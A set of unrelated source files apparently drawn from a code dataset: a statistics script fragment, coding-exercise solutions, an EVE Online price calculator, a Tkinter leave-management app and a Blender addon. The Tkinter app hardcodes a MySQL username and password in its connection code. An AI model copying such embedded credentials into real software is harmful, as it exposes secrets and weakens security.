coefficient\n z_scores = self.model.coef_[0] / sigma_estimates # z-score for eaach model coefficient\n p_values = [stat.norm.sf(abs(x)) * 2 for x in z_scores] ### two tailed test for p-values\n\n self.z_scores = z_scores\n self.p_values = p_values\n self.sigma_estimates = sigma_estimates\n self.F_ij = F_ij\n def predict(self, x):\n return self.model.predict(x)\n\n\ndef get_stuff(dict, label_y_key, predict_y_keys,RKN_hit_miss=True,SVM_usage=False,know_vs_remember=False, only_this_dist=None, proba=False, remember_vs_new=False,predict_with_merge=False):\n def balance(X, Y):\n min_y = 10000\n count_y = {}\n for i in range(0, len(Y)):\n if Y[i] not in count_y:\n count_y[Y[i]] = 0\n count_y[Y[i]] += 1\n for val in count_y.values():\n if val < min_y:\n min_y = val\n count_y2 = {}\n new_X = []\n new_Y = []\n for i in range(0, len(Y)):\n if Y[i] not in count_y2:\n count_y2[Y[i]] = 0\n if count_y2[Y[i]] > min_y:\n continue\n count_y2[Y[i]] += 1\n new_Y.append(Y[i])\n new_X.append(X[i])\n\n\n return new_X, new_Y\n def my_shuffle(X, Y):\n # randomize order\n combined = list(zip(X, Y))\n random.shuffle(combined)\n X[:], Y[:] = zip(*combined)\n return X, Y\n\n Y = []\n X = []\n if not isinstance(predict_y_keys, list):\n predict_y_keys = [predict_y_keys]\n keys_int_dict = hp.get_int_dict(dict, label_y_key) # no longer used except for RKN3 (multi-class classification) because dicts may be unordered, duh?\n for session_number in dict:\n for trial_number in dict[session_number]:\n trial = dict[session_number][trial_number]\n if label_y_key not in trial:\n continue\n if trial[label_y_key] not in keys_int_dict:\n continue\n if only_this_dist is not None:\n if trial['distrtype'] != only_this_dist:\n continue\n if predict_with_merge:\n x = trial['feats']\n else:\n x = []\n break_out = False\n for key in predict_y_keys:\n if key not in trial:\n break_out = True\n continue\n x.append(trial[key])\n if break_out:\n break\n y = keys_int_dict[trial[label_y_key]]\n if label_y_key == 'RM correct':\n if math.isclose(trial[label_y_key], 0.0):\n y = 0\n elif math.isclose(trial[label_y_key], 1.0):\n y = 1\n else:\n continue\n if label_y_key == 'RM confidence':\n if math.isclose(trial[label_y_key], 1.0):\n y = 0\n elif math.isclose(trial[label_y_key], 2.0):\n y = 1\n elif math.isclose(trial[label_y_key], 3.0):\n y = 2\n else:\n continue\n if label_y_key == 'RKN' and RKN_hit_miss:\n if trial[label_y_key] == 1 or trial[label_y_key] == 2:\n y = 1\n else:\n y = 0\n elif label_y_key =='RKN' and know_vs_remember:\n if trial[label_y_key] == 1:\n y = 1\n elif trial[label_y_key] == 2:\n y = 0\n else:\n continue\n elif label_y_key == 'RKN' and remember_vs_new:\n if trial[label_y_key] == 1:\n y = 0\n elif trial[label_y_key] == 2:\n continue\n elif trial[label_y_key] == 3:\n y = 1\n else:\n continue\n\n X.append(x[0])\n Y.append(y)\n X, Y = my_shuffle(X, Y) # may be unneeded\n X, Y = balance(X, Y)\n return X, Y\n \nx1 = 'IA disp score'\nx2 = 'IA percentage'\n\nfiles = [f for f in listdir(uncertainty_dict_loc) if isfile(join(uncertainty_dict_loc, f))]\nnumber_of_files = 0\nfor distrtype in [1.0, 2.0, 3.0, 4.0]:\n confidence = []\n correct = []\n for file_name in files:\n #print('Number of files completed:', number_of_files)\n number_of_files += 1\n name_split = file_name.split()\n bit_multiplier = name_split[1]\n dist_multiplier = name_split[2]\n tick_size = name_split[3]\n if bit_multiplier != str(0.0025):\n continue\n if dist_multiplier != str(0.8):\n continue\n file = open(uncertainty_dict_loc + '/' + file_name, 'rb')\n sample_dict = pickle.load(file)\n file.close()\n if y in ['RKN', 'RM correct']:\n x, y = get_stuff(sample_dict, x1, x2, RKN_hit_miss=False, only_this_dist=distrtype)\n\n if False:\n clf = LogisticReg()\n clf.fit(x,y)\n test_y_ = clf.predict(x)\n print(accuracy_score(y, test_y_))\n\n p_value = clf.p_values\n print('Distrtype:', hp.float_to_distrtype(distrtype))\n\n print('P value:', p_value)\n continue\n print('Distrtype:', hp.float_to_distrtype(distrtype))\n print('conf:', confidence)\n print('correct:', correct)\n print(y)\n print(len(x))\n print(len(y))\n slope, intercept, r_value, p_value, std_err = stats.linregress(x, y)\n print('Slope:', slope)\n print('Intercept:', intercept)\n print('R value:', r_value)\n print('P value:', p_value)\n","sub_path":"Old_Files/lin_reg.py","file_name":"lin_reg.py","file_ext":"py","file_size_in_byte":7305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"509830408","text":"# 打家劫舍\n\nclass Solution:\n def rob(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n size = len(nums)\n if size == 0:\n return 0\n if size == 1:\n return nums[0]\n fnums = [0, 0, 0]\n fnums.extend(nums)\n sumFnums = [0 for _ in fnums]\n for i in range(3, size + 3):\n sumFnums[i] = max(fnums[i] + sumFnums[i - 2], fnums[i] + sumFnums[i - 3])\n return max(sumFnums[-1], sumFnums[-2])\n \n\n\n","sub_path":"dynamic programming/House Robber.py","file_name":"House Robber.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"211064073","text":"# coding: utf-8\n\"\"\"\n16 - Faça um programa para uma loja de tintas. O programa deverá pedir\no tamanho em metros quadrados da área a ser pintada. Considere que a\ncobertura da tinta é de 1 litro para cada 3 metros quadrados e que a tinta\né vendida em latas de 18 litros, que custam R$ 80,00. Informe ao usuário\na quantidades de latas de tinta a serem compradas e o preço total.\n\"\"\"\n\nmetro_quadrados = int(input(\"Digite quantos metros você deseja pinta: \"))\nvalor_lata_18_litros = 80\nlitros = metro_quadrados // 3\ntotal_de_litros = litros / 18\n\nif total_de_litros % 3 == 0:\n print(\"Total de latas é {}\".format(1))\n print(\"Valor que você vai paga: R$ {:.2f} reais\".format(\n valor_lata_18_litros))\nelse:\n print(\"Total de latas é {}\".format(round(total_de_litros)))\n print(\"Valor que você vai paga: R$ {:.2f} reais\".format(\n valor_lata_18_litros * round(total_de_litros)))\n","sub_path":"EstruturaSequencial/exercicio_16.py","file_name":"exercicio_16.py","file_ext":"py","file_size_in_byte":904,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"274632170","text":"import requests\nimport time\nimport os\nfrom eveConsts import shipList, marketList, capitalPartsList, oreList, shipPartCounts, pcIndex, partIndex\n\nshipParts = []\n\ndef welcome():\n print(' Hello and Welcome to Jeklah\\'s Ship Cost Calculator')\n print('*** DISCLAIMER *** This tool assumes 10/20 research on bps...for now. *** DISCLAIMER ***' + '\\n')\n print(' Please choose which market you would like to use: ' + '\\n')\n for mrkt in marketList:\n print('Ξ ' + str(marketList.index(mrkt)) + ' ' + mrkt.capitalize() + '\\n')\n\ndef choose_market():\n while True:\n try:\n marketChoice = int(input('Choose market by number: '))\n except ValueError:\n print('Please enter your choice with numbers, not words.')\n continue\n if marketChoice < 0 or marketChoice > (len(marketList) - 1): # -1 because python len uses a start index of 1\n print('Please enter a valid number.')\n continue\n else:\n break\n marketName = marketList[int(marketChoice)]\n print('You chose ' + marketName.capitalize() + '\\n')\n time.sleep(1.5)\n\n return(marketName)\n\ndef choose_ship():\n os.system('clear')\n print(' Ship Choice')\n for ship in shipList:\n print('Ξ ' + str(shipList.index(ship)) + ' ' + ship + '\\n')\n while True:\n try:\n shipNum = int(input('Choose which ship you would like to calculate costs for: '))\n except ValueError:\n print('Please enter numbers not words. Preferably in range.')\n continue\n if shipNum < 0 or shipNum > (len(shipList) - 1):\n print('Please enter a valid number.')\n continue\n else:\n break\n\n shipChoice = shipList[int(shipNum)]\n print('You chose the following ship: ' + shipChoice)\n\n return(shipChoice)\n\ndef get_appraisal(itemName, marketName):\n url = 'https://www.evepraisal.com/appraisal'\n payload = {\n 'raw_textarea': itemName + ' 1',\n 'market': marketName,\n }\n\n req = requests.post(url, params=payload)\n appraisal_id = req.headers['X-Appraisal-Id']\n appraisal_url = 'https://www.evepraisal.com/a/{}.json'.format(appraisal_id)\n result = requests.get(appraisal_url).json()\n\n itemName = result['items'][0]['name']\n currAvg = result['items'][0]['prices']['sell']['avg']\n minPrice = result['items'][0]['prices']['sell']['min']\n maxPrice = result['items'][0]['prices']['sell']['max']\n\n partDetails = [itemName, currAvg, minPrice, maxPrice]\n\n return(partDetails)\n\ndef ship_parts_cost(shipName, marketName):\n if shipName =='Orca':\n for x in shipPartCounts[shipList.index(shipName)][pcIndex][pcIndex::]:\n shipParts.append(capitalPartsList[int(x)])\n elif shipName == 'Obelisk':\n for x in shipPartCounts[shipList.index(shipName)][pcIndex][pcIndex::]:\n shipParts.append(capitalPartsList[int(x)])\n elif shipName == 'Venture':\n for x in shipPartCounts[shipList.index(shipName)][pcIndex][pcIndex::]:\n shipParts.append(oreList[int(x)])\n elif shipName == 'Providence':\n for x in shipPartCounts[shipList.index(shipName)][pcIndex][pcIndex::]:\n shipParts.append(capitalPartsList[int(x)])\n\n total = 0\n partCount = dict(zip(shipParts, shipPartCounts[shipList.index(shipName)][partIndex][pcIndex::]))\n for item in partCount:\n partDetails = get_appraisal(item, marketName)\n partCost = partDetails[pcIndex] * float(str(partCount[item]))\n partCost = round(partCost, 2)\n total += partCost\n print(item + ' costs ' + '{:,}'.format(round(partDetails[pcIndex], 2)) + ' ISK at ' + marketName.capitalize())\n print('- ' + item + ' x' + partCount[item] + ' costs: ' + '{:,}'.format(partCost) + ' ISK' + '\\n')\n\n total = round(total, 2)\n print('Total cost of parts = ' + '{:,}'.format(total) + ' ISK')\n\ndef main():\n welcome()\n marketName = choose_market()\n shipName = choose_ship()\n ship_parts_cost(shipName, marketName)\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"scripts/ships.py","file_name":"ships.py","file_ext":"py","file_size_in_byte":4101,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"359027749","text":"'''\nAbbiamo una stringa i cui elementi sono cifre tra '0' e '9' (comprese) che rappresenta la struttura di una parola.\nLa parola contiene al piu' 10 lettere diverse (ma puo' essere piu' lunga di 10 lettere se alcune sono ripetute), \ne la struttura si ottiene dalla parola sostituendo ciascuna lettera con una cifra, secondo le regole:\n- a lettera uguale corrisponde cifra uguale\n- a lettere diverse corrispondono cifre diverse\n\nEsempio: 'cappello' -> '93447228'\nEsempio: 'cappello' -> '12334556'\n\nSia data una \"struttura\" ed un insieme di parole. \nVogliamo ottenere il sottoinsieme delle parole date compatibili con la struttura data.\n\nEsempio: se la struttura e' '1234' e le parole sono { 'cane', 'gatto', 'nasa', 'oca', 'pino'}\nle parole dell'insieme che sono compatibili con la struttura sono {'pino', 'cane'}\n\nScrivere una funzione decod( pfile, struttura) che prende in input:\n- il percorso di un file (pfile), contenente testo organizzato in righe ciascuna composta da una sola parola\n- una stringa di almeno 1 carattere, composta solo da cifre (la struttura delle parole da cercare)\n\nLa funzione deve restituire l'insieme delle parole di pfile che sono compatibili con la struttura data.\n\nPer gli esempi vedere il file grade03.txt\n\nAVVERTENZE: \n\tnon usare caratteri non ASCII, come le lettere accentate;\n\tnon usare moduli che non sono nella libreria standard.\nNOTA: l'encoding del file e' 'utf-8'\nATTENZIONE: Se un test del grader non termina entro 10 secondi il punteggio di quel test e' zero.\n'''\n\n\n\ndef decod(pfile, codice):\n lista_val_diz,lista_valori=lettdiz(pfile,codice)\n lista=set()\n con=0\n for x in lista_valori:\n if x==codice:\n lista.add(lista_val_diz[con])\n con+=1\n return lista\n \ndef crealista(pfile,codice):\n o=open(pfile,encoding='utf-8')\n leggi=[]\n for x in o:\n if len(puliscipa(x[:-1]))==len(codice):\n leggi+=[x[:-1]]\n return leggi\n\ndef pulstru(codice):\n cod=''\n for x in codice:\n if x not in cod:\n cod+=x\n return cod\n\ndef puliscipa(parola):\n np=''\n for l in parola:\n if l not in np:\n np+=l\n return np\n\ndef creadiz(parola,cod):\n diz={}\n cont=0\n for lettera in parola: \n if lettera not in diz.keys():\n diz[lettera]=cod[cont]\n cont+=1\n return diz\n\ndef estval(diz,lettera):\n for x, y in diz.items(): \n if y==diz[lettera] :\n le=x\n return le\n\ndef creastr(diz,parola):\n stringa=''\n stringa2=''\n for lettera in parola: \n stringa+=estval(diz,lettera)\n stringa2+=diz[lettera]\n return stringa,stringa2\n \ndef lettdiz(pfile,codice):\n cod=pulstru(codice) \n lista=crealista(pfile,cod)\n lista_val_diz=[]\n lista_valori=[]\n \n for parola in lista:\n if len(puliscipa(parola))==len(cod):\n diz=creadiz(parola,cod)\n stringa,stringa2=creastr(diz,parola) \n lista_valori+=[stringa2]\n lista_val_diz+=[stringa]\n return lista_val_diz,lista_valori\n\n ","sub_path":"students/1807996/homework02/program03.py","file_name":"program03.py","file_ext":"py","file_size_in_byte":3115,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"414728365","text":"\"\"\"\nThis module contains all models for the application\n\"\"\"\n\nfrom typing import List, Union\nfrom math import ceil\n\nPAGES_COUNT_IN_PAGINATION = 10\n\n\nclass Category:\n \"\"\"\n Simple category model\n \"\"\"\n def __init__(self, obj_id: int, title: str):\n self.obj_id = obj_id\n self.title = title\n\n\nclass AllCategories:\n \"\"\"\n Model for collection of all categories\n \"\"\"\n def __init__(self, categories: List[Category]):\n self.categories = categories\n self.category_ids = [category.obj_id for category in categories]\n\n\nclass Offer:\n \"\"\"\n Model for a product offer\n \"\"\"\n def __init__(self, offer_id: int, shop_name: str, price: float, url: str):\n self.id = offer_id\n self.shop_name = shop_name\n self.price = price\n self.url = url\n\n\nclass Product:\n \"\"\"\n Model for a product\n \"\"\"\n def __init__(self, product_id: int,\n category_id: int,\n title: str,\n description: str,\n image_urls: List[str],\n offers: List[Offer]):\n\n self.id = product_id\n self.category_id = category_id\n self.title = title\n self.description = description\n self.image_urls = image_urls\n self.offers = offers\n\n @property\n def min_price(self) -> float:\n \"\"\"\n Return minimum of product offer prices\n :return: minimal price\n \"\"\"\n return min([offer.price for offer in self.offers])\n\n @property\n def max_price(self) -> float:\n \"\"\"\n Return maximum product offer prices\n :return: maximal price\n \"\"\"\n return max([offer.price for offer in self.offers])\n\n @property\n def sorted_offers(self) -> List[Offer]:\n \"\"\"\n Return offers sorted by price, from minimal to maximal\n :return: List of sorted :class:`Offer` objects\n \"\"\"\n return sorted(self.offers, key=lambda offer: offer.price)\n\n\nclass Pagination:\n \"\"\"\n Class which provides data for pagination component, calculates and provides:\n - total pages of items\n - page numbers to show on a HTML page\n - whether prev, next page are available from the current page\n - page number validation\n \"\"\"\n def __init__(self, items_count: int,\n items_per_page: int,\n current_page: int,\n show_pages_count: int=PAGES_COUNT_IN_PAGINATION):\n\n self.show_pages_count = show_pages_count\n self.total_pages_count = ceil(items_count / items_per_page)\n self.current_page = self.validate_page_number(current_page)\n\n @property\n def prev_page(self) -> Union[int, None]:\n \"\"\"\n Calculates previous page number\n :return: previous page number or `None`\n \"\"\"\n page = self.current_page - 1\n if page < 1:\n return None\n else:\n return page\n\n @property\n def next_page(self) -> Union[int, None]:\n \"\"\"\n Calculates next page number\n :return: next page number or `None`\n \"\"\"\n page = self.current_page + 1\n if page > self.total_pages_count:\n return None\n else:\n return page\n\n @property\n def available_pages(self) -> List[int]:\n \"\"\"\n Calculates available page number to be shown on the page\n :return: List of page number to be shown\n \"\"\"\n\n start_page = self.current_page - (self.show_pages_count // 2)\n if start_page < 1:\n start_page = 1\n\n end_page = start_page + self.show_pages_count - 1\n if end_page > self.total_pages_count:\n end_page = self.total_pages_count\n start_page = end_page - self.show_pages_count + 1\n\n prepare_pages = list(range(start_page, end_page+1))\n return [page for page in prepare_pages if page > 0]\n\n def validate_page_number(self, page_number: int) -> int:\n \"\"\"\n Returns always valid page number\n :return: the same number if valid or 1 if invalid\n \"\"\"\n if 1 <= page_number <= self.total_pages_count:\n return page_number\n else:\n return 1\n","sub_path":"app/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4175,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"591784312","text":"'''\r\nBook tracking application desgned to enter books track what's been read \r\nCreated on Jul 5, 2018\r\n\r\n@author: jposenau\r\n'''\r\nfrom tkinter import *\r\n\r\nimport mysql.connector\r\nfrom mysql.connector import errorcode\r\nimport calen\r\n_connection = None\r\n\r\n\r\nclass Leave_mgr_app(Tk):\r\n\r\n def __init__(self, *args, **kwargs):\r\n Tk.__init__(self, *args, **kwargs)\r\n# self = self.Tk()\r\n self.geometry(\"500x300\")\r\n self.title(\"Employee Entry \")\r\n self.main_menu()\r\n \r\n def main_menu(self):\r\n \r\n \r\n Label(self,text = \"Manager\").grid(row=0,sticky=W)\r\n e1 = Entry(self, width = 30)\r\n e1.grid(row = 0 , column = 1)\r\n 1\r\n Label(self,text = \"Name\").grid(row=1,sticky=W)\r\n e2 = Entry(self, width = 30)\r\n e2.grid(row = 1 , column = 1)\r\n \r\n Label(self,text = \"DOH\").grid(row=2,sticky=W)\r\n e3 = Entry(self, width = 30)\r\n e3.grid(row = 2 , column =1)\r\n \r\n Label(self,text = \"Balance\").grid(row=3,sticky=W)\r\n e4 = Entry(self, width = 30)\r\n e4.grid(row = 3 , column =1)\r\n \r\n Label(self,text = \"PTO Used\").grid(row=4,sticky=W)\r\n e5 = Entry(self, width = 30)\r\n e5.grid(row = 4 , column =1)\r\n \r\n Label(self,text = \"PTO Accrued\").grid(row=5,sticky=W)\r\n e6 = Entry(self, width = 30)\r\n e6.grid(row = 5 , column =1)\r\n \r\n Label(self,text = \"PTO Date\").grid(row=6,sticky=W)\r\n e7 = Entry(self, width = 30)\r\n e7.grid(row = 6 , column = 1) \r\n \r\n Label(self,text = \"Half or full day\").grid(row=7,sticky=W)\r\n e8 = Entry(self, width = 30)\r\n e8.grid(row = 7 , column = 1)\r\n \r\n b1 = Button(self, text = \"List\", command = lambda self = self:self.find_emp(e1,e2,e3,e4,e5,e6,e7,e8))\r\n b1.grid(row = 0,column =2)\r\n b2 = Button(self, text = \"Add\", command = lambda self = self:self.entry(e1,e2,e3,e4,e5))\r\n b2.grid(row = 0,column =3)\r\n b3 = Button(self, text = \"Update\", command = lambda self = self:self.update())\r\n b3.grid(row = 0,column =4)\r\n b4 = Button(self, text = \"Show\", command = lambda self = self:self.callback(e1,e2,e3,e4,e5))\r\n b4.grid(row = 0,column =5)\r\n b5 = Button(self, text = \"Clear\", command = lambda self = self:self.clearit(e1,e2,e3,e4,e5,e6))\r\n b5.grid(row = 0,column =6)\r\n b6 = Button(self, text = \"Quit\", command = lambda self = self:self.destroy())\r\n b6.grid(row = 0,column =7)\r\n \r\n def putit(self,dd):\r\n print(dd)\r\n def callback(self, e1,e2,e3,e4,e5):\r\n vals = []\r\n \r\n vals.append( (e1.get()))\r\n vals.append(e2.get())\r\n vals.append(e3.get())\r\n vals.append(e4.get())\r\n vals.append(e5.get())\r\n print (vals)\r\n \r\n def clearit(self, e1,e2,e3,e4,e5,e6):\r\n e1.delete(0,END) \r\n e2.delete(0,END)\r\n e3.delete(0,END)\r\n e4.delete(0,END)\r\n e5.delete(0,END) \r\n e6.delete(0,END) \r\n \r\n \r\n def get_val(self,e1):\r\n vals = []\r\n\r\n top = Toplevel(self)\r\n label1 = Label(top, text=\"Results from Search.\")\r\n label1.grid(row = 1)\r\n listbox = Listbox(top, width=60)\r\n listbox.grid(row = 5)\r\n b3 = Button(top, text='Quit', command= lambda: top.destroy())\r\n b3.grid(row = 3)\r\n v1 = e1.get()\r\n \r\n print(\"in Search\", v1,v2)\r\n cnx = self.get_connection()\r\n sql = (\"Select Last_name, PTO_used, balance From employee_data where `last_name` = '%s' \" %v1)\r\n cursora = cnx.cursor(buffered=True)\r\n cursora.execute(sql)\r\n\r\n for val in cursora:\r\n listbox.insert(END, val)\r\n vals.append(val)\r\n print(vals)\r\n self.entry_update(vals)\r\n \r\n \r\n \r\n def update(self):\r\n \r\n top = Toplevel(self)\r\n top.title = \"Update Screen\"\r\n top.geometry(\"500x500\")\r\n lab1 = Label(top,text = \"Enter Date for PTO\", font = (('Times'),12))\r\n lab1.grid(row = 0, column = 0,sticky =W)\r\n calen.Datepicker(top).grid(sticky = W, row = 10) \r\n\r\n b5 = Button(top, text = \"Quit\", command= lambda: top.destroy())\r\n b5.grid(row = 0,column =6)\r\n \r\n def entry_update(self,vals):\r\n# Prepare a statement for an uppdate\r\n print(\"entry_update\")\r\n \r\n def entry(self,e1,e2,e3,e4,e5):\r\n\r\n vals = []\r\n \r\n vals.append( (e1.get()))\r\n vals.append(e2.get())\r\n vals.append(e3.get())\r\n vals.append(e4.get())\r\n vals.append(e5.get())\r\n# Build the query\r\n title = vals[0]\r\n author = vals[1]\r\n description= vals[2]\r\n acq = vals[3]\r\n finished = vals[4] \r\n# Clear the entry fields\r\n e1.delete(0,END) \r\n e2.delete(0,END)\r\n e3.delete(0,END)\r\n e4.delete(0,END)\r\n e5.delete(0,END) \r\n \r\n try:\r\n \r\n add_employee = (\"INSERT INTO books \"\r\n \"(title, author, description, acq, finished) \"\r\n \"VALUES (%s, %s, %s, %s, %s)\")\r\n data_employee = (title,author,description, acq, finished)\r\n \r\n cnx = self.get_connection()\r\n cursor = cnx.cursor()\r\n cursor.execute(add_employee, data_employee) \r\n \r\n cnx.commit()\r\n print (\"Entry committed\")\r\n except mysql.connector.Error as err:\r\n if err.errno == errorcode.ER_ACCESS_DENIED_ERROR:\r\n print(\"Something is wrong with your user name or password\")\r\n elif err.errno == errorcode.ER_BAD_DB_ERROR:\r\n print(\"Database does not exist\")\r\n else:\r\n print(err)\r\n\r\n def get_connection(self):\r\n global _connection\r\n if not _connection:\r\n _connection = mysql.connector.connect(user='jposenau',\r\n database='mine',\r\n password = 'Dadrules503',\r\n host = '127.0.0.1' )\r\n return _connection \r\n def close_out(self): \r\n print(\"in closeout\")\r\n self.destroy()\r\n \r\n def find_emp(self,e1,e2,e3,e4,e5,e6,e7,e8):\r\n\r\n v = e2.get()\r\n param = v\r\n\r\n \r\n print(\"in list books\")\r\n cnx = self.get_connection()\r\n\r\n cursora = cnx.cursor(buffered=True)\r\n cursora.execute(\"Select Manager,Last_name,doh,balance,PTO_used,PTO_accrued from employee_data WHERE Last_name LIKE %s \", (param + \"%\",))\r\n for val in cursora:\r\n print(val)\r\n e1.delete(0,END)\r\n e1.insert(0,val[0])\r\n e2.delete(0,END)\r\n e2.insert(0,val[1])\r\n e3.delete(0,END)\r\n e3.insert(0,val[2])\r\n e4.delete(0,END)\r\n e4.insert(0,val[3])\r\n e5.delete(0,END)\r\n e5.insert(0,val[4])\r\n e6.delete(0,END)\r\n e6.insert(0,val[5])\r\n# listbox.insert(END, val) \r\n \r\n\r\n\r\nif __name__ == '__main__':\r\n \r\n \r\n\r\n app = Leave_mgr_app(\" Leave Managment\")\r\n app.mainloop()\r\n# self.mainloop()","sub_path":"python_stuff/emptrk2py.py","file_name":"emptrk2py.py","file_ext":"py","file_size_in_byte":7318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"534540127","text":"import math\nimport copy\nimport mathutils\nimport time\nimport random\nfrom random import random, seed\n\nimport bpy\nfrom bpy.props import *\nimport bpy.types\nimport bmesh\nfrom mathutils import Vector, Matrix\nfrom mathutils.bvhtree import BVHTree\n\nbl_info = {\n\t\"name\": \"WPL Mesh Helpers\",\n\t\"author\": \"IPv6\",\n\t\"version\": (1, 0, 0),\n\t\"blender\": (2, 7, 9),\n\t\"location\": \"View3D > T-panel > WPL\",\n\t\"description\" : \"\",\n\t\"warning\"\t : \"\",\n\t\"wiki_url\"\t: \"\",\n\t\"tracker_url\" : \"\",\n\t\"category\"\t: \"\"\n\t}\n\nkRaycastEpsilon = 0.01\nkWPLSelBufferUVMap = \"_tmpMeshSel_\"\nkWPLShrinkWrapMod = \"WPL_PinnedVerts\"\n\n########### ############ ########### ############ ########### ############ ########### ############\n########### ############ ########### ############ ########### ############ ########### ############\ndef select_and_change_mode(obj, obj_mode):\n\t#print(\"select_and_change_mode\",obj_mode)\n\tm = bpy.context.mode\n\tif obj_mode == \"EDIT_MESH\":\n\t\tobj_mode = \"EDIT\"\n\tif obj_mode == \"PAINT_VERTEX\":\n\t\tobj_mode = \"VERTEX_PAINT\"\n\tif (obj is not None and bpy.context.scene.objects.active != obj) or m != 'OBJECT':\n\t\t# stepping out from currently active object mode, or switch may fail\n\t\tbpy.ops.object.mode_set(mode='OBJECT')\n\tfor objx in bpy.data.objects:\n\t\tobjx.select = False\n\tif obj:\n\t\tif obj.hide == True:\n\t\t\tobj.hide = False\n\t\tobj.select = True\n\t\tbpy.context.scene.objects.active = obj\n\t\tbpy.context.scene.update()\n\t\tbpy.ops.object.mode_set(mode=obj_mode)\n\treturn m\n\ndef camera_pos(region_3d):\n\t\"\"\" Return position, rotation data about a given view for the first space attached to it \"\"\"\n\t#https://stackoverflow.com/questions/9028398/change-viewport-angle-in-blender-using-python\n\tdef camera_position(matrix):\n\t\t\"\"\" From 4x4 matrix, calculate camera location \"\"\"\n\t\tt = (matrix[0][3], matrix[1][3], matrix[2][3])\n\t\tr = (\n\t\t (matrix[0][0], matrix[0][1], matrix[0][2]),\n\t\t (matrix[1][0], matrix[1][1], matrix[1][2]),\n\t\t (matrix[2][0], matrix[2][1], matrix[2][2])\n\t\t)\n\t\trp = (\n\t\t (-r[0][0], -r[1][0], -r[2][0]),\n\t\t (-r[0][1], -r[1][1], -r[2][1]),\n\t\t (-r[0][2], -r[1][2], -r[2][2])\n\t\t)\n\t\toutput = mathutils.Vector((\n\t\t rp[0][0] * t[0] + rp[0][1] * t[1] + rp[0][2] * t[2],\n\t\t rp[1][0] * t[0] + rp[1][1] * t[1] + rp[1][2] * t[2],\n\t\t rp[2][0] * t[0] + rp[2][1] * t[1] + rp[2][2] * t[2],\n\t\t))\n\t\treturn output\n\t#look_at = region_3d.view_location\n\tmatrix = region_3d.view_matrix\n\t#rotation = region_3d.view_rotation\n\tcamera_pos = camera_position(matrix)\n\treturn camera_pos\n\ndef get_active_context_cursor(context):\n\tscene = context.scene\n\tspace = context.space_data\n\tcursor = (space if space and space.type == 'VIEW_3D' else scene).cursor_location\n\treturn cursor\n\ndef get_selected_facesIdx(active_mesh):\n\t# find selected faces\n\tbpy.ops.object.mode_set(mode='OBJECT')\n\tfaces = [f.index for f in active_mesh.polygons if f.select]\n\t# print(\"selected faces: \", faces)\n\treturn faces\n\ndef get_selected_edgesIdx(active_mesh):\n\t# find selected edges\n\tbpy.ops.object.mode_set(mode='OBJECT')\n\tselectedEdgesIdx = [e.index for e in active_mesh.edges if e.select]\n\treturn selectedEdgesIdx\n\ndef get_selected_vertsIdx(active_mesh):\n\t# find selected faces\n\tbpy.ops.object.mode_set(mode='OBJECT')\n\tselectedVertsIdx = [e.index for e in active_mesh.vertices if e.select]\n\treturn selectedVertsIdx\n\ndef get_vertgroup_by_name(obj,group_name):\n\tif group_name in obj.vertex_groups:\n\t\treturn obj.vertex_groups[group_name]\n\treturn None\ndef remove_vertgroups_all(obj):\n\tobj.vertex_groups.clear()\ndef remove_vertgroup(obj, group_name):\n\tvertgroup = get_vertgroup_by_name(obj, group_name)\n\tif vertgroup:\n\t\tobj.vertex_groups.remove(vertgroup)\ndef getornew_vertgroup(obj, group_name):\n\tvertgroup = get_vertgroup_by_name(obj, group_name)\n\tif vertgroup is None:\n\t\tvertgroup = obj.vertex_groups.new(name=group_name)\n\treturn vertgroup\ndef updateVertWeight(vg, vIdx, newval, compareOp):\n\tvg_wmod = 'REPLACE'\n\tvg_newval = newval\n\tvg_oldval = 0\n\ttry:\n\t\tvg_oldval = vg.weight(idx)\n\t\tif compareOp is not None:\n\t\t\tvg_newval = compareOp(vg_oldval,vg_newval)\n\texcept Exception as e:\n\t\tvg_wmod = 'ADD'\n\t\tvg_newval = newval\n\tvg.add([vIdx], vg_newval, vg_wmod)\n\treturn vg_oldval\ndef get_less_vertsMap_v01(obj, set_of_vertsIdx, iterations=1):\n\tpolygons = obj.data.polygons\n\tvertices = obj.data.vertices\n\tvert2loopMap = {}\n\tfor vIdx in set_of_vertsIdx:\n\t\tvert2loopMap[vIdx] = 1.0\n\twhile iterations != 0:\n\t\tverts_to_remove = set()\n\t\tfor poly in polygons:\n\t\t\tpoly_verts_idx = poly.vertices\n\t\t\tfor v_idx in poly_verts_idx:\n\t\t\t\tif v_idx not in set_of_vertsIdx:\n\t\t\t\t\tfor v_idx in poly_verts_idx:\n\t\t\t\t\t\tverts_to_remove.add(v_idx)\n\t\t\t\t\tbreak\n\t\tset_of_vertsIdx.difference_update(verts_to_remove)\n\t\tfor vIdx in set_of_vertsIdx:\n\t\t\tvert2loopMap[vIdx] = vert2loopMap[vIdx]+1.0\n\t\titerations -= 1\n\treturn vert2loopMap\n\ndef addConnectedBmVerts_v02(iniDepth, bm, v, verts_list, selverts):\n\tif iniDepth == 0:\n\t\tfor temp in bm.verts:\n\t\t\ttemp.tag = False\n\tv.tag = True\n\tif (selverts is not None) and (v.index not in selverts):\n\t\treturn\n\tif v not in verts_list:\n\t\tverts_list.append(v)\n\tif iniDepth < 100:\n\t\tfor edge in v.link_edges:\n\t\t\tov = edge.other_vert(v)\n\t\t\tif (ov is None) or ov.tag:\n\t\t\t\tcontinue\n\t\t\taddConnectedBmVerts_v02(iniDepth+1, bm, ov, verts_list, selverts)\n\ndef visibilitySelect(active_obj, active_mesh, context, actionSelectType, fuzz):\n\tselverts = get_selected_vertsIdx(active_mesh)\n\tbpy.ops.object.mode_set( mode = 'EDIT' )\n\tbpy.ops.mesh.select_all(action = 'DESELECT')\n\tscene = bpy.context.scene\n\tbm = 